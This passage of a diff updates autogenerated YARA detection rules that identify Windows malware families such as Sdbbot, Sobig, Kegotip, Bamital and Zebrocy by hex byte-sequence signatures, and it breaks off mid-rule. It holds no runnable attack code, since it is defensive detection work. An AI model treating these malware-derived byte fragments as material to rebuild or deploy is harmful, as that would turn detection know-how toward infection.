"fd0dce640f74e7a720d2663bbcad05a022471937161b3c94d0276bbf1eb69f1b" + logic_hash = "bc5ce97320d3edf2cd777ada69ace7755633451b31f436076d0e817156126e74" score = 75 quality = 75 tags = "FILE" @@ -133820,32 +133596,32 @@ rule MALPEDIA_Win_Webc2_Div_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 7474 56 6800000080 56 56 } - $sequence_1 = { 8078056e 7512 80780663 750c 80780765 7506 } - $sequence_2 = { 8d7d02 83c9ff c70001000000 8d5008 33c0 f2ae f7d1 } - $sequence_3 = { c3 55 e8???????? 59 33c0 ebf0 81ec10020000 } - $sequence_4 = { 7573 80780661 756d 80780766 } - $sequence_5 = { 7f09 0fbed0 83ea17 89148e 8d6901 bf16000000 8bc5 } - $sequence_6 = { 6a20 53 ffd6 59 85c0 } - $sequence_7 = { ff742410 eb14 817c2410808d5b00 771a 8b442414 } - $sequence_8 = { 83e803 bf???????? 80240100 83c9ff 33c0 f2ae f7d1 } - $sequence_9 = { 8b048e 8d1c9510114000 8b17 2bc2 99 } + $sequence_0 = { c70009000000 e8???????? ebd1 8bc8 c1f905 8d3c8d60da4000 } + $sequence_1 = { 57 8bc2 c1f805 8b048560da4000 8bfa } + $sequence_2 = { c686c800000043 c6864b01000043 c7466850c44000 6a0d e8???????? 59 8365fc00 } + $sequence_3 = { ff15???????? 6a02 6a00 8bf8 6a00 57 } + $sequence_4 = { 7d0d 8a4c181c 888870c64000 40 } + $sequence_5 = { 50 68???????? e8???????? 83c408 68???????? e8???????? 8b4528 } + $sequence_6 = { 83f914 0f8798000000 0fb691b0854000 ff249588854000 } + $sequence_7 = { 0f8c260a0000 8d42e0 3c58 770f 0fbec2 0fbe8060914000 83e00f } + $sequence_8 = { 56 57 50 c745fc00000000 ffd3 } + $sequence_9 = { 53 8b1d???????? 56 57 50 c745fc00000000 } condition: - 7 of them and filesize < 32768 + 7 of them and filesize < 147456 } -rule MALPEDIA_Win_Disk_Knight_Auto : FILE +rule MALPEDIA_Win_Sdbbot_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "2e5932a4-2261-529e-8603-e7381cbcd593" + id = "e5ddf82d-6516-5715-9fa8-b1a6bdbb883d" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.disk_knight" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.disk_knight_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sdbbot" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sdbbot_auto.yar#L1-L180" license_url = "N/A" - logic_hash = "94d53be36645294fa895fc3e62b424a992d83f6ddb436852c2ddc8dd29bf34d2" + logic_hash = "a7c9bbefe17c51ab7bd282fe70d8133f645f1f7f65d3be7e33bd1c26f76ee007" score = 75 quality = 75 tags = "FILE" @@ -133859,32 +133635,39 @@ rule MALPEDIA_Win_Disk_Knight_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 52 8b45c8 50 ff15???????? 8945ac eb07 c745ac00000000 } - $sequence_1 = { 8bd0 8d4dd4 ffd6 50 68???????? ffd7 8d4d8c } - $sequence_2 = { ff15???????? 8bd0 8d4da0 ffd6 8d45a4 50 ff15???????? } - $sequence_3 = { c7458001000080 33d2 8d4db0 ff15???????? ba???????? 8d4db4 ff15???????? } - $sequence_4 = { 8b16 8d8578ffffff 50 56 ff92b8070000 3bc7 7d0e } - $sequence_5 = { 8975c8 8d4db0 ff15???????? 8b4dc8 33ff 3bcf 741c } - $sequence_6 = { 83bdc4feffff00 7d23 6a58 68???????? 8b8dc8feffff 51 8b95c4feffff } - $sequence_7 = { 8d55dc 51 52 897d80 c78578ffffff00000000 89bd70ffffff ff15???????? } - $sequence_8 = { 6880000000 ff15???????? 83c41c 8b4dc8 51 8d9544ffffff 52 } - $sequence_9 = { c785bcfeffff01000000 8b4d0c 833900 7455 8b550c 8b02 66833801 } + $sequence_0 = { 03f3 8b17 03d3 33c9 8a02 } + $sequence_1 = { 8b5df0 8bbb80000000 03fe 897dec 833f00 0f847d000000 } + $sequence_2 = { 2b7b34 8955ec 85d2 0f84ae000000 8b83a0000000 03c6 } + $sequence_3 = { 56 57 c745e400000000 895df4 895de0 } + $sequence_4 = { 8945fc 85c0 0f84c2010000 0f1f840000000000 8b7028 33c9 } + $sequence_5 = { 8b5b10 8b433c 8b441878 03c3 8945dc 8b7820 } + $sequence_6 = { 03c1 8955ec 8945e4 85d2 0f8560ffffff 8b5df0 8b7328 } + $sequence_7 = { 7403 4f ebe2 64a130000000 897df8 } + $sequence_8 = { c3 803d????????00 750c c605????????01 } + $sequence_9 = { 664503de 4983c004 4983c102 664585db 75ac 4c8bb42480000000 } + $sequence_10 = { 41bb01000000 48897c2438 4c89ac2488000000 488b4818 4c8b7920 } + $sequence_11 = { 41b9ffff0000 458d6b03 66660f1f840000000000 498b5750 33c0 450fb74748 } + $sequence_12 = { 48ffc2 8801 488d4901 4983e801 } + $sequence_13 = { 7446 4d03cf 0f1f840000000000 418b49f8 49ffca 418b11 4903ce } + $sequence_14 = { 418b11 4903ce 458b41fc 4903d5 4d85c0 7419 0f1f8000000000 } + $sequence_15 = { 488bf0 4885c0 7474 8b7d10 8b5d00 4903fe } + $sequence_16 = { 0f84a7000000 0f1f840000000000 8b4304 85c0 } condition: - 7 of them and filesize < 868352 + 7 of them and filesize < 1015808 } -rule MALPEDIA_Win_Bart_Auto : FILE +rule MALPEDIA_Win_Sobig_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "69293053-9c73-5e85-bfc8-1bda4f3480af" + id = "f2079ef3-4c71-5dab-833c-5773ab6ef02f" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bart" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bart_auto.yar#L1-L127" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sobig" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sobig_auto.yar#L1-L129" license_url = "N/A" - logic_hash = "3bd63c0862e680fa10847ed0fefa7078e2170f430f6b6047eb709673a0606c78" + logic_hash = "0c745bccdca469dd967ba05a41b0d6b9484e837d88e70b86ce4dd51c26e4309d" score = 75 quality = 75 tags = "FILE" @@ -133898,32 +133681,32 @@ rule MALPEDIA_Win_Bart_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 74d1 68ffffff00 50 8d45d8 8bce 50 e8???????? } - $sequence_1 = { 8d4dbc e8???????? 8b8558ffffff 8d8d7cffffff 8b9550ffffff 0fb600 } - $sequence_2 = { 8d4dd4 eb55 84db 755a 6a02 5a 8d4de4 } - $sequence_3 = { 48 0fb7c0 6683f801 7e7e } - $sequence_4 = { 53 56 57 8d45b8 8955ec 8bf9 50 } - $sequence_5 = { ffb63c010000 53 ffd7 83c40c 3b461c 75e1 33c0 } - $sequence_6 = { 8bfa 8bd9 384601 7e11 } - $sequence_7 = { 8bec 53 56 8bd9 57 33ff 397b48 } - $sequence_8 = { 0f840c010000 57 ff15???????? 6800ff0000 ffd3 8bf8 85ff } - $sequence_9 = { 50 8b83b0000000 ffd0 8b95c8feffff 8b8db8feffff 53 56 } + $sequence_0 = { c645fc01 e8???????? 56 8d4dc8 885dfc e8???????? 834dfcff } + $sequence_1 = { 48 85c9 742e 53 40 57 } + $sequence_2 = { 50 e8???????? 83ec10 8d45b0 8bcc 8965c4 50 } + $sequence_3 = { 034e18 83c418 c645fc03 51 } + $sequence_4 = { 7ced 85f6 7e15 8bce 8d75c0 8bc1 8bfb } + $sequence_5 = { 8d4ddc e8???????? 85c0 0f84a0000000 68???????? 8d4ddc } + $sequence_6 = { 7505 b8???????? 50 8d8544fbffff 68???????? 50 ff15???????? } + $sequence_7 = { e8???????? e9???????? 6a10 8d45ac 6a00 50 e8???????? } + $sequence_8 = { 83c320 3b7e04 7cee 5b ff36 e8???????? 59 } + $sequence_9 = { 3b7e08 7ce6 83c8ff 5f 5e 5b c20400 } condition: - 7 of them and filesize < 163840 + 7 of them and filesize < 262144 } -rule MALPEDIA_Win_Biscuit_Auto : FILE +rule MALPEDIA_Win_Unidentified_115_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "4b580404-4186-5ded-b852-ff8cc2d91924" + id = "3a1ba5f2-6d8b-53d1-afa7-3efb81c22fc0" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.biscuit" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.biscuit_auto.yar#L1-L127" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_115" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_115_auto.yar#L1-L132" license_url = "N/A" - logic_hash = "21658c2822d8c2da349d55326a2fbe01a4e5603d4a188c5f0ab05c786709117d" + logic_hash = "6028b5eb1b27194aba70c1eb50e5d4032510571ea08ddcbdb15ab7d8877e12da" score = 75 quality = 75 tags = "FILE" @@ -133937,32 +133720,32 @@ rule MALPEDIA_Win_Biscuit_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c6040800 8b4c241c 5f c745300030c084 8bc5 5e } - $sequence_1 = { 8b95b8b7ffff 52 e8???????? 83c404 eb22 8b85d4daffff 83e801 } - $sequence_2 = { 8d8dd0daffff 51 b9???????? e8???????? 25ff000000 85c0 } - $sequence_3 = { eb1f 8b45f0 83e801 898584b6ffff 8b8d84b6ffff 8a11 } - $sequence_4 = { 8b8d74b7ffff 3b4de0 0f83f5000000 8b55e0 2b9574b7ffff 899588b7ffff 8b857cb7ffff } - $sequence_5 = { 83bd28ffffff00 7502 eb71 8b8528ffffff 33c9 } - $sequence_6 = { 03f0 03d8 3bb42458100000 734f 6800100000 8d442444 53 } - $sequence_7 = { 8d8da0daffff e8???????? 8d9510b9ffff 52 b9???????? e8???????? } - $sequence_8 = { 8b8db0feffff 51 e8???????? 83c404 eb1f 8b55e4 83ea01 } - $sequence_9 = { 83e901 898d34feffff 8b9534feffff 8a02 2c01 8b8d34feffff } + $sequence_0 = { 488945f0 488b05???????? 488945f8 ff15???????? 488d0d72f80000 ff15???????? } + $sequence_1 = { 488d0d8f150100 eb62 488b1d???????? 4c8d4c2428 ba01000000 4889c1 41b840000000 } + $sequence_2 = { 488b13 4889f1 4883c308 e8???????? ebea 4881c420010000 5b } + $sequence_3 = { ffd3 488d1590f60100 4889c1 e8???????? b901000000 e8???????? 90 } + $sequence_4 = { 48893d???????? 498dbe50010000 48891d???????? 488d1d80dc0300 4c891d???????? 4c8d1d72e10300 } + $sequence_5 = { 483346f0 4889842490000000 e9???????? 488b3a 4883c208 4889f8 4989fc } + $sequence_6 = { 488b15???????? 4c89e1 e8???????? 4989c4 e9???????? 488b43f0 488d53f0 } + $sequence_7 = { 488b03 4989df 4889fa 4885c0 7403 488b10 498b4f08 } + $sequence_8 = { 4c8d2d33db0200 e8???????? 4c89e9 4889c2 e8???????? 488b0d???????? ba18000000 } + $sequence_9 = { 89dd c1c507 4431d5 448b9424d8000000 428db416708b4bc2 4189da 01ee } condition: - 7 of them and filesize < 180224 + 7 of them and filesize < 648192 } -rule MALPEDIA_Win_Tor_Loader_Auto : FILE +rule MALPEDIA_Win_Enigma_Loader_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "3efe54eb-a7c6-56b3-9bd1-ec8766a85b3b" + id = "cc26267d-179f-5094-a193-17b8c695e45b" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tor_loader" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tor_loader_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.enigma_loader" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.enigma_loader_auto.yar#L1-L132" license_url = "N/A" - logic_hash = "9c749aa4d74905eff81845b43499929e58555479c62182eca79940824f3864ac" + logic_hash = "3dcf8ded19af004c0de0e4efb8fdefb86f8c4578eb04199c475e4c233dfc8212" score = 75 quality = 75 tags = "FILE" @@ -133976,32 +133759,32 @@ rule MALPEDIA_Win_Tor_Loader_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 90 eb25 4839c8 0f831a030000 4c8d5001 4c39d1 0f8602030000 } - $sequence_1 = { bf03000000 488d358e732800 e8???????? 0fb6542447 488b7c2460 4c8b442458 4889c6 } - $sequence_2 = { eb0f 488b442438 c6808800000001 4889c7 ba01000000 e9???????? 81fa2251f4eb } - $sequence_3 = { 7659 488b842428010000 488b9c2430010000 488b9424f0000000 488b0a 488b7a08 488b7210 } - $sequence_4 = { eb29 4889d3 4889c1 4889f0 e8???????? 488b542448 488bb424d0000000 } - $sequence_5 = { ebd4 833d????????00 750d 48c705????????00000000 eb0e 488d3dfc515b00 31c9 } - $sequence_6 = { eb23 488d056b4d6100 31db 488b6c2410 4883c418 c3 0fb75052 } - $sequence_7 = { eb09 4889c7 90 e8???????? 488d0554112200 488b5c2428 488d0d86392700 } - $sequence_8 = { 48c7400813000000 488d0deaf90a00 488908 488b4c2410 48894810 4889c3 488d05ad3e0500 } - $sequence_9 = { bf04000000 e8???????? 6690 4883fb01 7509 80382d 7504 } + $sequence_0 = { 488d4da0 e8???????? 90 488d15acf80200 488bc8 e8???????? 0f1000 } + $sequence_1 = { 493bc1 0f84d9010000 4c8d4001 4c89442430 488b4910 482b0a 48c1f904 } + $sequence_2 = { 482b01 49b8ffffffffffffff1f 48c1fd03 4c8bfa 48c1f803 488bf9 } + $sequence_3 = { 488d15fb560300 488d4c2420 e8???????? cc 4053 4883ec20 488bd9 } + $sequence_4 = { e8???????? 90 c6462801 40387e29 0f85b6050000 bb00100000 488b542448 } + $sequence_5 = { 0f28c6 e8???????? 6685c0 0f8f40080000 498d4e20 488d9508020000 e8???????? } + $sequence_6 = { 4c8d4dd0 418bc4 41f7e0 c1ea05 0fbec2 6bc83a 418ac0 } + $sequence_7 = { 488d8424a8000000 4889442420 48895c2428 488933 48897308 b950000000 e8???????? } + $sequence_8 = { 83f901 752f 488bca e8???????? 448be0 eb22 } + $sequence_9 = { 57 488bec 4883ec40 448ada 488bf1 4883c120 488d55f0 } condition: - 7 of them and filesize < 13050880 + 7 of them and filesize < 798720 } -rule MALPEDIA_Win_Jlorat_Auto : FILE +rule MALPEDIA_Win_Unidentified_039_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "f0bef584-e973-53d7-a046-17a467ab2308" + id = "5307ab67-7df6-58f4-b452-1c07a33c71d9" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.jlorat" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.jlorat_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_039" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_039_auto.yar#L1-L125" license_url = "N/A" - logic_hash = "6c508a88f484b849b2f103f8c11b47dfe4f6c1e48dc255ea3be8790051e1a3db" + logic_hash = "afa5455e6fc48dacd94f7935b5ea52166f1efb72a1cca9234dab50b4c119076b" score = 75 quality = 75 tags = "FILE" @@ -134015,32 +133798,32 @@ rule MALPEDIA_Win_Jlorat_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? e9???????? 89e0 8d4d0c 8908 e8???????? 899558ffffff } - $sequence_1 = { eb00 8b4de0 83c134 c745f0ffffffff 89e0 8908 e8???????? } - $sequence_2 = { f7e2 8985d0feffff 8995d4feffff b804000000 c1e002 8b4d0c ba04000000 } - $sequence_3 = { eb00 8b8d7cffffff 8b45b0 894de0 0518040000 898574ffffff c745cc01000000 } - $sequence_4 = { e8???????? 8995c8feffff 8985ccfeffff eb00 8b8dc4feffff 8b85c8feffff 8b95ccfeffff } - $sequence_5 = { eb5f eb00 b801000000 83f800 7514 8b442438 8b00 } - $sequence_6 = { e8???????? eb00 8b4da4 83c10c c745f001000000 89e0 8d55cc } - $sequence_7 = { eb2a 8b4e14 8b5618 89e0 895004 8908 e8???????? } - $sequence_8 = { f20f1186b8010000 f20f108698010000 f20f1186d8010000 f20f108688010000 f20f108e90010000 f20f118ed0010000 f20f1186c8010000 } - $sequence_9 = { f20f1145d0 c745f001000000 89e0 8d55d0 895004 8908 e8???????? } + $sequence_0 = { 2bc8 034df4 81f1a1710000 894df8 8b45f4 8b4d0c 3bc8 } + $sequence_1 = { 894dfc 8b45f4 8b4df8 3bc8 7d0c ff75f8 } + $sequence_2 = { 837ddc00 75e6 c6460401 830eff 8bc6 2b04bd20d24100 } + $sequence_3 = { c745d8d9580000 8b45dc 59 59 8b4de0 } + $sequence_4 = { c7459c2e4c0000 c7459cd65d0000 8b459c 251f140000 89459c } + $sequence_5 = { 0bc1 8945d8 8b45f0 8b4df4 3bc8 7c0c } + $sequence_6 = { 40 663bcb 75f6 6a25 2bc2 8d4d04 51 } + $sequence_7 = { 6890010000 53 53 53 894538 } + $sequence_8 = { 0fafc1 8b4de8 2bc1 8b4dec 81e97f650000 33c1 8945f8 } + $sequence_9 = { 8b4dfc 0bc1 0d403a0000 8945f8 8b4508 8b4dfc 3bc8 } condition: - 7 of them and filesize < 10952704 + 7 of them and filesize < 262144 } -rule MALPEDIA_Win_Pwndlocker_Auto : FILE +rule MALPEDIA_Win_Kegotip_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "0ef9ef98-b584-5412-b76c-e3c013260c32" + id = "70477c51-c689-59a8-8176-7550acce9ee4" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pwndlocker" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pwndlocker_auto.yar#L1-L119" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kegotip" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kegotip_auto.yar#L1-L127" license_url = "N/A" - logic_hash = "5bc1fe4d9dda2a3d7b92f6be48794f673659ba8123fb93f2622432356a3f4a56" + logic_hash = "da81d78c4e1182921c0ea815e9750dcd5bacf467108d0f772088273b021761e1" score = 75 quality = 75 tags = "FILE" @@ -134054,34 +133837,34 @@ rule MALPEDIA_Win_Pwndlocker_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 668b044e 8b721c 01de 8b0486 } - $sequence_1 = { 31ff 31c0 fc ac 84c0 7407 } - $sequence_2 = { 49 8d348a 8b36 01de 31ff 31c0 } - $sequence_3 = { 75e0 5a 8b7224 01de 31c0 668b044e } - $sequence_4 = { 01c7 ebf4 3b7df0 75e0 } - $sequence_5 = { 31c0 fc ac 84c0 7407 c1cf0d } - $sequence_6 = { 8b7224 01de 31c0 668b044e } - $sequence_7 = { 01d8 83c078 8b00 8d3403 8b4e18 8b5620 01da } - $sequence_8 = { 83c078 8b00 8d3403 8b4e18 8b5620 01da } - $sequence_9 = { ac 84c0 7407 c1cf0d 01c7 ebf4 } + $sequence_0 = { eb04 33c0 eb6d e9???????? eb63 } + $sequence_1 = { 85c9 740b 8b5508 0355f8 8955fc eb02 ebbb } + $sequence_2 = { 8b450c 50 8d8df8feffff 51 e8???????? 83c408 c785a8fcffff80000000 } + $sequence_3 = { 0f840c010000 6a00 6a00 6a03 6a00 6a00 6a50 } + $sequence_4 = { 0fb64df7 85c9 7504 32c0 eb38 c645f700 } + $sequence_5 = { 3b5588 7d1e 8b4508 038578ffffff 0fbe4801 } + $sequence_6 = { ff5510 83c408 0fb6c8 85c9 7504 32c0 eb07 } + $sequence_7 = { 6a00 6800000080 8d95d8feffff 52 ff15???????? 8945e4 837de4ff } + $sequence_8 = { 32c0 e9???????? 68???????? e8???????? 83c404 68???????? } + $sequence_9 = { 3b4dfc 7324 8b5510 0355e4 8b45f4 0345f8 } condition: - 7 of them and filesize < 65536 + 7 of them and filesize < 278528 } -rule MALPEDIA_Win_Nymaim_Auto : FILE +rule MALPEDIA_Win_Bamital_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "30c4b930-78a7-5077-a5dc-408a5cbb77f2" + id = "e219e6ea-4608-5a74-87dd-c6cc7daca55c" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nymaim" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nymaim_auto.yar#L1-L209" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bamital" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bamital_auto.yar#L1-L122" license_url = "N/A" - logic_hash = "84775fe355e4469ac977f6fbd11fdede8794d879792df66f4d5d03f1510d45b2" + logic_hash = "24d30014c19935766f45a136deb9c4126e6e7e91127fb6207f37108ee605d496" score = 75 - quality = 73 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -134093,45 +133876,32 @@ rule MALPEDIA_Win_Nymaim_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 89d8 01c8 31d2 f7f7 } - $sequence_1 = { f7f7 92 31d2 bf64000000 } - $sequence_2 = { 0f94c1 09c8 6bc064 09c0 } - $sequence_3 = { 38f0 83d100 38d0 83d900 } - $sequence_4 = { 010d???????? 8b1d???????? 011d???????? c1eb13 } - $sequence_5 = { c1eb13 331d???????? 31c3 c1e808 } - $sequence_6 = { 31c3 891d???????? 89d8 01c8 } - $sequence_7 = { 31d2 bf64000000 f7f7 5b } - $sequence_8 = { 38d0 83d900 c1e105 01c8 } - $sequence_9 = { 00d3 8a16 301e 46 01fb } - $sequence_10 = { c1e808 31c3 895e0c 89d8 } - $sequence_11 = { 8b5604 0116 8b4e08 014e04 8b5e0c } - $sequence_12 = { 8b5d18 8b1b 4f 31c0 fec2 } - $sequence_13 = { f7e0 0fc8 01d0 894704 } - $sequence_14 = { 8b5514 8b12 8b4d0c 8b5d18 } - $sequence_15 = { 31c9 8b55f4 8b75ec 89723c c7424003000000 } - $sequence_16 = { 56 83ec28 8b450c 8b4d08 8d154e30d201 } - $sequence_17 = { 83ec44 8b4508 8d0d2030d201 31d2 890c24 c744240400000000 } - $sequence_18 = { 890424 894c2404 e8???????? 8d0d3430d201 } - $sequence_19 = { 5b 5d c3 8b45f0 8b0c850440d201 } - $sequence_20 = { 53 56 57 83ec44 8b4508 8d0d2030d201 } - $sequence_21 = { 31d2 890c24 c744240400000000 8945f4 8955f0 e8???????? 8d0d8630d201 } - $sequence_22 = { 55 89e5 83ec10 8b4508 8d0d3430d201 } + $sequence_0 = { 803820 7516 83c101 83f901 7504 8bd0 } + $sequence_1 = { 2945f8 ff75f8 e8???????? 5e ff75f8 56 } + $sequence_2 = { 33c0 5e 5f 5b 5a 59 } + $sequence_3 = { 52 e8???????? 837dd800 7505 e9???????? } + $sequence_4 = { b910000000 f3ab eb0c 8bcb f3a4 011d???????? } + $sequence_5 = { 8b55fc 8945fc 0bd2 7406 52 e8???????? } + $sequence_6 = { 5b 5a 59 c9 c21000 33c0 5e } + $sequence_7 = { 83c024 6a00 50 e8???????? } + $sequence_8 = { 75f1 8d0411 33c2 5f 5e c9 } + $sequence_9 = { e8???????? 83c708 57 ff7004 e8???????? 83c708 } condition: - 1 of them and filesize < 2375680 + 7 of them and filesize < 90112 } -rule MALPEDIA_Win_Urausy_Auto : FILE +rule MALPEDIA_Win_Ddkong_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "1beffaf4-c79f-5031-ba16-920ad7ce2336" + id = "18188be3-073f-50a3-9f50-97e094dccbb5" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.urausy" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.urausy_auto.yar#L1-L121" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ddkong" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ddkong_auto.yar#L1-L119" license_url = "N/A" - logic_hash = "8b8a7bd5c9e36633624e07a893f13b5d5c82edf3b42773503b98b1177601ac24" + logic_hash = "91db8e15d23c634005ba3b638556ede7055d1f867550b80fb7edc67358abbb64" score = 75 quality = 75 tags = "FILE" @@ -134145,32 +133915,32 @@ rule MALPEDIA_Win_Urausy_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ff7508 e8???????? 8945ec ff7514 e8???????? 8945e8 } - $sequence_1 = { ff75a0 ff75ec e8???????? 33c0 b4ff b0ff c1c008 } - $sequence_2 = { e8???????? 5e 6a00 6a00 6a00 } - $sequence_3 = { ff7594 ff7598 ff75ec e8???????? 33c0 } - $sequence_4 = { 6a28 ff75e4 ff75e8 6802000050 68???????? 68???????? 6800000400 } - $sequence_5 = { e8???????? 53 e8???????? 8d85f8fdffff } - $sequence_6 = { ff75e8 e8???????? c9 c21000 55 8bec 81c4ecefffff } - $sequence_7 = { 8b4508 50 8b00 ff5018 8d45e0 } - $sequence_8 = { 83c4e8 833d????????01 7504 c9 } - $sequence_9 = { e8???????? c9 c20400 55 8bec 83c4e8 8d45f0 } + $sequence_0 = { 8065d300 8d45c0 50 53 ffd6 50 ffd7 } + $sequence_1 = { c644241561 c64424166c c644241746 c644241b00 ff15???????? 50 ff15???????? } + $sequence_2 = { ebcd 53 53 53 } + $sequence_3 = { bb???????? 50 53 c645a457 c645a561 c645a669 } + $sequence_4 = { 8d8500ffffff 50 53 ffd7 } + $sequence_5 = { 56 8b35???????? 8d45ec 57 bb???????? 50 53 } + $sequence_6 = { c645b474 8d45ac c645b541 50 8d45f0 } + $sequence_7 = { 8d45a4 bb???????? 50 53 } + $sequence_8 = { 7427 837d08ff 7421 8d45dc 6a10 50 ff7508 } + $sequence_9 = { 50 ffd6 898504ffffff 8d45c4 } condition: - 7 of them and filesize < 98304 + 7 of them and filesize < 81920 } -rule MALPEDIA_Win_Nitlove_Auto : FILE +rule MALPEDIA_Win_Zebrocy_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "84765628-80ab-5981-9ee3-a789670212a2" + id = "a5288975-5a36-5a4a-9025-084c7ee804a2" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nitlove" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nitlove_auto.yar#L1-L119" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zebrocy" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.zebrocy_auto.yar#L1-L166" license_url = "N/A" - logic_hash = "6dc343446a186927b9f2cf65101150f5f9c6342bdace19bd149edbf93300570a" + logic_hash = "31a3a19dc89466809ccbf56c8c805a07b997358dbb942052f14c84a36be45691" score = 75 quality = 75 tags = "FILE" @@ -134184,32 +133954,38 @@ rule MALPEDIA_Win_Nitlove_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 57 6a0b 59 be???????? 8d7dc8 f3a5 b902000080 } - $sequence_1 = { 03f0 c1e007 33f0 42 3bd7 7ce9 33c0 } - $sequence_2 = { b359 51 8d857cffffff 50 51 } - $sequence_3 = { 6a00 6aff ffd0 bab2bb282b 8bcb } - $sequence_4 = { 6aff ffd7 0fb785dcfeffff 33c9 ba1e3d0000 66898c0504feffff } - $sequence_5 = { ba4d8a978a 8bcb e8???????? ffd0 51 } - $sequence_6 = { 56 57 83ceff 33ff 8bd9 85d2 7e21 } - $sequence_7 = { 6a05 ffd6 833b00 747a 33db } - $sequence_8 = { e8???????? 8b45ec 83c43c 5f } - $sequence_9 = { 33f6 8b45f0 0345e4 8b4dd4 } + $sequence_0 = { c605????????03 c705????????04000000 c605????????11 c705????????00000000 } + $sequence_1 = { e8???????? 84c0 8b4de0 7507 } + $sequence_2 = { 50 8d45f4 64a300000000 6aff 33ff c745fc01000000 } + $sequence_3 = { 8be5 5d c21000 8b4d14 51 56 } + $sequence_4 = { e8???????? 83c41c 83ec1c 8bcc 89a5f4f4ffff } + $sequence_5 = { ff25???????? ebb5 55 b9???????? 89e5 } + $sequence_6 = { f2ae 89c8 f7d0 8d5402ff } + $sequence_7 